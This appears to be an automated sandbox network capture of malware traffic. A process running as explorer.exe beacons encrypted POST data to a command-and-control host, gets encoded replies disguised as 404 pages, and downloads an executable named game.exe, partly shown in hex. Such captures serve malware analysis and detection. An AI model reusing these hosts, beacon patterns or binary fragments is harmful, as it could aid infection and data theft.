Dec 28, 2021 05:18:55.285271883 CET	2301	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49783	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:55.645113945 CET	2302	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://whpernmmb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 28, 2021 05:18:55.645144939 CET	2303	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 2c a7 bb 29 Data Ascii: 7xG5f0@^wmDu$f]d,)![&&C'Z+.=E(BF9^xn"~!}N9E']tN2<>J:X}KKM{l}S.Z/Qw~Zgj(:L5~Ixt4D9^_E]w4
Dec 28, 2021 05:18:55.786744118 CET	2303	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c8 89 40 0e 65 1b e4 bf c1 b1 a2 14 a5 08 cd 2c b4 59 52 db 17 f8 ee 39 ec 3f 52 17 b2 ea 93 42 fe 02 86 1c 80 a7 70 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a Data Ascii: 3eI:82O@e,YR9?RBpw0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49786	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:57.994065046 CET	2343	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rwwaasnsg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: host-data-coin-11.com
Dec 28, 2021 05:18:57.994088888 CET	2343	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 31 a8 8f 3a Data Ascii: 7xG5f0@^wmDu$f]d1:Dl(<U<Z%Co}Kzm1v#^%B1[OW96qO>q)]G:Sa)mo)k2oLi,,oZj%wt{cr)C?`KtB(
Dec 28, 2021 05:18:58.111469984 CET	2344	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49787	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:58.205894947 CET	2345	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://weeyh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: host-data-coin-11.com
Dec 28, 2021 05:18:58.205975056 CET	2345	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 01 8a dc 7f Data Ascii: 7xG5f0@^wmDu$f]d95}3l03{:Jxd9f"64/!R,W8t,>_VE:/Wj7KfN\|1[B\%]IsxgcZ&xjY~F
Dec 28, 2021 05:18:58.323771954 CET	2345	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49788	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:58.765095949 CET	2346	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:18:58.861063957 CET	2347	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:58 GMT Content-Type: application/x-msdos-program Content-Length: 342528 Connection: close Last-Modified: Tue, 28 Dec 2021 04:18:02 GMT ETag: "53a00-5d42d1b68bb7d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c5 98 8d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fa 03 00 00 20 09 00 00 00 00 00 50 4a 02 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 0d 00 00 04 00 00 93 2b 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c f8 03 00 28 00 00 00 00 a0 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 0d 00 18 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ee f9 03 00 00 10 00 00 00 fa 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 10 04 00 00 8c 00 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 05 00 00 00 00 80 0c 00 00 02 00 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 69 6c 6f 00 00 00 93 0d 00 00 00 90 0c 00 00 0e 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 a0 0c 00 00 64 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f8 3b 00 00 00 10 0d 00 00 3c 00 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c fb 03 00 98 fb 03 00 ac fb 03 00 be fb 03 00 d0 fb 03 00 e6 fb 03 00 f6 fb 03 00 0c fc 03 00 1c fc 03 00 38 fc 03 00 4c fc 03 00 60 fc 03 00 76 fc 03 00 90 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PEL` PJ@P+l(b!p@.text `.dataho@.fig@.hilo@.rsrcbd@@.reloc;<@B\|8L`v
Dec 28, 2021 05:18:58.861129045 CET	2349	IN	Data Raw: fc 03 00 aa fc 03 00 c2 fc 03 00 d6 fc 03 00 e2 fc 03 00 f0 fc 03 00 08 fd 03 00 2a fd 03 00 36 fd 03 00 46 fd 03 00 62 fd 03 00 7e fd 03 00 90 fd 03 00 a0 fd 03 00 ae fd 03 00 b6 fd 03 00 c4 fd 03 00 d0 fd 03 00 e2 fd 03 00 f8 fd 03 00 06 fe 03 Data Ascii: *6Fb~,DVj,DTft0Jf$@R
Dec 28, 2021 05:18:58.861169100 CET	2350	IN	Data Raw: 00 62 00 69 00 77 00 75 00 68 00 61 00 6e 00 69 00 76 00 69 00 6d 00 00 00 4b 69 62 20 72 65 76 6f 6d 75 76 75 66 69 62 6f 20 6d 69 79 69 66 20 79 75 66 6f 62 65 68 00 00 53 75 67 6f 66 69 63 61 6c 61 6c 75 6a 20 74 75 70 65 6d 69 63 6f 62 61 00 Data Ascii: biwuhanivimKib revomuvufibo miyif yufobehSugoficalaluj tupemicobaTog bemal zumesuyamop zemim xuzaxaruroluZumohodove linucasuxadefi dunixoxehevavohupezigisilegurazemalugisifb
Dec 28, 2021 05:18:58.861207962 CET	2351	IN	Data Raw: 6f 73 62 61 73 65 00 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 31 30 2e 30 5c 56 43 5c 69 6e 63 6c 75 64 65 5c 73 74 72 65 61 6d 62 75 66 00 00 00 Data Ascii: osbaseC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf @3A"A*A2A2A8A=ALAqA8AA$AAAFAIAbad locale nameC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocaleC:
Dec 28, 2021 05:18:58.861246109 CET	2353	IN	Data Raw: 00 00 00 00 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 04 20 40 00 fc 1f 40 00 f8 1f 40 00 f0 1f 40 00 e8 1f 40 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 Data Ascii: ClientIgnoreCRTNormalFree @@@@@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at file %hs line %d
Dec 28, 2021 05:18:58.861284971 CET	2354	IN	Data Raw: 00 3d 00 3d 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 Data Ascii: == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the applicati
Dec 28, 2021 05:18:58.861331940 CET	2356	IN	Data Raw: 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 Data Ascii: with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDB
Dec 28, 2021 05:18:58.861371040 CET	2357	IN	Data Raw: 00 2c 00 20 00 30 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: , 0)
Dec 28, 2021 05:18:58.861408949 CET	2358	IN	Data Raw: a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 28, 2021 05:18:58.861448050 CET	2360	IN	Data Raw: 00 6f 00 63 00 61 00 6c 00 2e 00 63 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 73 65 74 6c 6f 63 61 6c 2e 63 00 00 00 73 00 65 00 74 00 6c 00 6f 00 63 00 61 00 6c Data Ascii: ocal.cf:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.csetlocaleLC_MIN <= _category && _category <= LC_MAXstrncpy_s(lctemp, (sizeof(lctemp
Dec 28, 2021 05:18:58.927498102 CET	2361	IN	Data Raw: 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 2c 00 20 00 28 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 00 73 00 2d 00 3e 00 73 00 7a 00 43 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 29 00 20 00 2f 00 20 00 73 00 69 00 7a Data Ascii: odePage, (sizeof(names->szCodePage) / sizeof(names->szCodePage[0])), locale, len)strncpy_s(names->szCountry, (sizeof(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49789	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:00.745503902 CET	2702	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jpkelrew.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: host-data-coin-11.com
Dec 28, 2021 05:19:00.745517969 CET	2703	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8f 66 5d 02 c9 a1 c1 64 35 d0 d5 6b Data Ascii: 7xG5f0@^wmDu$f]d5kEYjAlG=50{k`2fm-10-3+7JbXISXOsKiOi/aSQ$cSQDW~G,M_M=t\|b$
Dec 28, 2021 05:19:00.891172886 CET	2703	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49790	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.006444931 CET	2704	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hlqcmdcx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.006458044 CET	2704	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 1b c4 8a 70 Data Ascii: 7xG5f0@^wmDu$f]dpC-?tgCUB/g]Z`;c'ko8bh
Dec 28, 2021 05:19:01.124536037 CET	2705	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49865	155.248.231.246	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49791	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.227207899 CET	2706	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lpxlc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.227220058 CET	2706	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 01 9a c3 2f Data Ascii: 7xG5f0@^wmDu$f]d/GqU\|n^KfY~?q ~ ^R=#>T[FS=(3\JZC'bDc^"_dCp#Wf*kRf/7AdNptHrpKsZ4
Dec 28, 2021 05:19:01.340322971 CET	2706	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49792	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.430061102 CET	2707	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://imhlo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.430155039 CET	2708	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 1a a8 a7 76 Data Ascii: 7xG5f0@^wmDu$f]dv!fb yDcgMJxaz?#&*vAp76^.J`98t7
Dec 28, 2021 05:19:01.546601057 CET	2708	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49793	185.7.214.171	8080	C:\Windows\explorer.exe

